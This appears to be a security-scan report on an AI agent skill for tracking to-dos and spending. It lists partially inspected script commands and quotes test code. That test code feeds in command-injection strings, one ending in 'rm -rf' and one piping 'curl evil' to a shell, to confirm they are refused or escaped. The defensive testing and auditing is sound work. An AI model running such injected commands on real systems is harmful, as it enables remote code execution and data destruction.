Incomplete referenced artifact analysis
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md node scripts/todo-spend-tracker.js fetch-open
Security audit
Security checks for vulnerabilities and agentic risk
ClawScan classified this skill as benign with medium confidence; the scanners found no AIG issues, but partial code analysis leaves some uncertainty.
The verdict is benign, but the scan was incomplete: only 7 of 18 components were fully inspected, with 11 partially inspected. Consider this uncertainty before installing, especially alongside the undeclared tool scope finding.
Referenced artifact was not completely inspected
node scripts/todo-spend-tracker.js fetch-open
Referenced artifact was not completely inspected
node scripts/todo-spend-tracker.js push --file /tmp/ledger-extraction.json
Referenced artifact was not completely inspected
node scripts/todo-spend-tracker.js push <<'JAVIS_LEDGER_JSON'
Referenced artifact was not completely inspected
node scripts/ledger.js todos
Referenced artifact was not completely inspected
node scripts/ledger.js spending # this month
Referenced artifact was not completely inspected
node scripts/ledger.js spending --month 2026-10 # a given month
Referenced artifact was not completely inspected
- To-dos: run `node scripts/ledger.js todos`. It lists the confirmed open to-dos with
Referenced artifact was not completely inspected
- Spending: run `node scripts/ledger.js spending` (or `--month YYYY-MM`). It gives the
Referenced artifact was not completely inspected
- **Counting rules** (`scripts/ledger.js`, mirrored by the iOS app and pinned by the
Referenced artifact was not completely inspected
- **Server reads.** `fetch-open` and `ledger.js` read `GET /api/skill/data` with the
Referenced artifact was not completely inspected
`ledger.js` prints a hint pointing to the app instead of numbers. The skill keeps no
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
// A keyboard unit without its unit id would collide, so it is refused before any write.
assert.throws(() => kb(undefined), /unit/);
assert.throws(() => kb('audio:101'), /kbd:/);
assert.throws(() => kb('kbd:bad id; rm -rf'), /unit/);
});
test('push [R20, R0-5]: two same-amount purchases on different days in one unit are both kept', () => {
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
const path = require('node:path');
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tst-'));
const file = path.join(dir, 'x.json');
const quote = "I'll call mom, don't forget'; curl evil|sh; echo '";
fs.writeFileSync(file, JSON.stringify({ source_ref: SRC, reference_date: REF, tasks: [{ item: "Call mom's dentist", quote }] }));
const srv = makeServer();
let summary;
Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.
const path = require('node:path');
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tst-'));
const file = path.join(dir, 'x.json');
const quote = "I'll call mom, don't forget'; curl evil|sh; echo '";
fs.writeFileSync(file, JSON.stringify({ source_ref: SRC, reference_date: REF, tasks: [{ item: "Call mom's dentist", quote }] }));
const srv = makeServer();
let summary;
Without declared permissions the skill's intent is opaque and cannot be validated.